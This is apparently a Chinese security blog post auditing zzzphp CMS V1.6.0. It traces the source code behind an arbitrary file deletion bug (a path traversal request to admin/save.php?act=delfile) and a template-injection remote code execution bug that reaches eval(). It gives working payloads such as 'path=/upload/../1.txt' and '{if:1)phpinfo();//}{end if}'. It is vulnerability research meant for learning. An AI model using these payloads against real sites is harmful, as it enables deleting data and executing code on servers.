【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计

前言

zzzcms系统是一款免费、开源的php语言建站系统,采用类MVC结构,框架简单,简单易学。诞生于2016年,其设计初衷是为了让用户快速、方便地建立自己的网站。该系统采用PHP语言开发,支持多相对于其他内容管理系统,ZZZCMS的特点在于其操作简单,易于上手,而且具有良好的扩展性和安全性。此外,ZZZCMS还提供了丰富的功能模块,包括文章管理、分类管理、标签管理、留言管理、友情链接管理等,可以满足大多数用户的需求。同时,ZZZCMS还提供了强大的SEO优化功能,可以帮助用户提高网站的排名,吸引更多的流量。支持MySQL、sQLite数据库。

安装

下载源代码,然后访问首页,如果没有安装的话,默认会跳转到install下面进行安装

if ($conf['isinstall']==0) error('很抱歉!程序未安装, <span id=time></span>即将进入安装界面',SITE_PATH.'install/');
图片[1]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

按提示配置好信息即可

图片[2]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

任意文件删除

现在我们需要审计的任意文件删除,这个功能通常使用的php函数是unlink,进行全局搜索

我们在zzz_file.php中找到,查看相关代码

function del_file( $file ) {
	if ( is_null( $file ) ) return FALSE;
	$file = is_file( $file ) ? $file : $_SERVER[ 'DOCUMENT_ROOT' ] . $file;
	if ( is_file( $file ) ) {
        if (ifstrin( $file,'runtime')){
            unlink( $file );
        }else{
            $ext = file_ext( $file );
            if ( in_array( $ext, array( 'php', 'db', 'mdb', 'tpl' ) ) ) return FALSE;
            if ( !unlink( $file ) ) {
                $r = @rename( $file, randname() );
            }
        }
	}
}

虽有好几个函数调用unlink函数,通过跟踪,只有del_file函数存在我们可控的变量

查看del_file函数都在哪里被引用,通过搜索,我们在sava.php文件中找到该函数,继续分析

function delfile(){
	$file=getform('path','post');	   
    $file_path=file_path($file);
    $safe_path=array('upload','template','runtime','backup');
    if(arr_search($file_path,$safe_path)){
        $file=$_SERVER['DOCUMENT_ROOT'].$file; 
        return del_file($file);
    }
}

这里面有几个函数我们也需要进行跟踪

getform函数 可以看到这个是选择请求方式

function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
	switch ( $source ) {
		case 'post':
			$data = _POST( $name );
			break;
		case 'get':
			$data = _GET( $name );
			break;
		case 'both':
			$data = _POST( $name ) ? : _GET( $name );
			break;

file_path函数 获取路径中的文件名

// 获取路径中的路径
function file_path( $path ) {
    $list=array();
	$path= substr( $path, 0, strrpos( $path, '/' ));
    $list=splits($path,'/');
    return $list;
}

arr_search函数 比较两个数组,是否有重复,重复则返回true

// 比较两个数组,是否有重复,重复则返回true
function arr_search($arr1, $arr2 ) {
    $result=false;
    foreach ( $arr1 as $v ) {
       if(in_array( $v,$arr2 )) return true;        
    }
    return $result;
}

连起来可以知道,通过调用函数delfile,然后在函数里面使用post进行传参,参数为path

现在的问题就是什么地方存在调用delfile函数的,继续查找

可以发现存在这样的调用方式

$act=safe_word(getform('act','get'));
$id=isnum(getform('id','both'));
$table=safe_word(getform('table','post'),10);
$type=safe_word(getform('type','both'),10);

switch ($act) {
	case 'about':		return save_about(); 		break;			
	case 'ad':     		return save_ad();      		break;			
	case 'admingroup':	return save_admingroup(); 	break;			
	case 'backup':		return backup();       		break;			
	case 'brand':		return save_brand(); 		break;			
	case 'content':		return save_content(); 		break;			
	case 'copyid':		return copy_id();      		break;	
	case 'custom':		return save_custom();		break;			
	case 'delall':		return db_delete($table,'recy');break;			
	case 'delallfile':	return delallfile($type);	break;			
	case 'delfile':		return delfile();	    	break;			
	case 'delid':		return db_delete($table,$id);	break;	
	case 'delcustom':	return del_custom();		break;	

在后台save.php文件中,使用get进行act传参,当参数等于delfile时,即可调用函数delfile()

利用:

http://localhost/zzzcms/admin/save.php?act=delfile
post传参: path=1.txt

可以发现并没有成功删除文件,这时我们需要注意这一句代码

$safe_path=array('upload','template','runtime','backup');
    if(arr_search($file_path,$safe_path)){
        $file=$_SERVER['DOCUMENT_ROOT'].$file; 
        return del_file($file);
    }

当path中存在以上关键词,才会进入del_file函数,这样我们就加上upload

http://localhost/zzzcms/admin/save.php?act=delfile
post传参: path=/upload/../1.txt
图片[3]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

成功删除文件

远程代码执行漏洞分析

漏洞复现

登录后台 -> 模板管理 -> 模板管理

图片[4]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

依次选择 cn2016 -> html -> search.html

图片[5]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

访问:http://127.0.0.1/zzzcms/search/

图片[6]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

漏洞原理

因为我们知道存在这样一个漏洞,这里就直接使用关键词进行搜索了eval(

可以定位到函数文件:inc\zzz_template.php

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

这是一个正则匹配,根据上面代码的意思,就是只有匹配成功才可以执行,举例:

{if:assert($_request[phpinfo()])}phpinfo();{end if}
当然也可以简单点的  {if:1)phpinfo();//}{end if}

现在匹配规则知道了,就要寻找漏洞触发点在什么地方,继续往上看,可以发现这是一个类,通过搜搜类名ParserTemplate,我们可以跟踪到调用函数文件有,inc\zzz_client.php、admin\save.php

依次查看,可以发现相关代码都是:

$parser = new ParserTemplate();
	$zcontent = $parser->parserCommom($zcontent); // 解析模板
	$zcontent=str_replace('[login:type]',$logintype,$zcontent);
	$zcontent=str_replace('[login:backurl]',$backurl,$zcontent);

通过调用类,然后传入解析参数,进行正则匹配执行

这里需要注意的就是他的判断逻辑,依次满足就可以

这里直接参考大佬的文章,以search.php文件进行审计

<?php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';


因为这个路由关系和其他的都不一样,方便我们学习

从这也可以跟踪到上面的文件地址/inc/zzz_client.php

接着就是通过正则,让他执行我们的代码即可

当然这里我们修改其他文件,然后根据以下代码也可以执行

	// 解析循环调节参数
	private
	function parserlocation( $zcontent ) {
		$location = G( 'location' );
		switch ( $location ) {
			case 'about':
				$zcontent = $this->parserAbout( $zcontent );
				break;
			case 'brand':
				$zcontent = $this->parserBrand( $zcontent );
				break;
			case 'content':
				$zcontent = $this->parserContent( $zcontent );
				break;
			case 'search':
				$zcontent = $this->parserSearch( $zcontent );
				break;
			case 'sublist':
			case 'list':
				$zcontent = $this->parserList( $zcontent );
				break;
			case 'taglist':
				$tag = db_select( 'tag', 't_name', "t_enname='" . G( 'sid' ) . "'" );
				$tag = isset( $tag ) ? $tag : '无效';
				$GLOBALS[ 'sid' ] = '-1';
				$zcontent = str_replace( '{zzz:tag}', $tag, $zcontent );
				$zcontent = $this->parserList( $zcontent );
				break;
		}
		return $zcontent;
	}

这里我们以about文件进行测试:

图片[7]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享
图片[8]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享

OK

总结

对应任意文件删除漏洞挖掘主要是查看删除函数,然后跟踪存在我们可以控制参数的地方,然后查看是否存在过滤,仔细点就可以发现

© 版权声明
THE END
喜欢就支持一下吧
点赞17 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容